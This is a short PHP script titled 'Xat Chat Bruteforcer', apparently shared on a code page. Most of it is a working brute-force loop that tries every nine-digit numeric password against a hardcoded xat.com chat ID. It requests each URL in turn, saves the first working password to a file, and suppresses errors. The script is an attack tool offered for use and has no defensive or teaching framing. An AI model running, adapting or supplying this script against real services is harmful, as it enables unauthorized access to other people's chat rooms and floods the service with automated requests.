- file_get_contents: documentation ( source)
- strpos: documentation ( source)
- error_reporting: documentation ( source)
- file_put_contents: documentation ( source)
<?php
error_reporting(0);
$file = "right.txt";
$chatID = "190959521";
echo "------------------------------\n";
echo "| Xat Chat Bruteforcer |\n";
echo "| Copyright 2011; |\n";
echo "| By bi0sph3re |\n";
echo "------------------------------\n";
for ($i=100000000;$i<999999999;$i++){
echo "http://xat.com/web_gear/chat.php?id=".$chatID."&pw=".$i."\n";
$url = file_get_contents("http://xat.com/web_gear/chat.php?id=".$chatID."&pw=".$i);
if (strpos($url, $chatID)){
echo "Password Found!";
file_put_contents($file, "http://xat.com/web_gear/chat.php?id=".$chatID."&pw=".$i);
exit();
}}
?>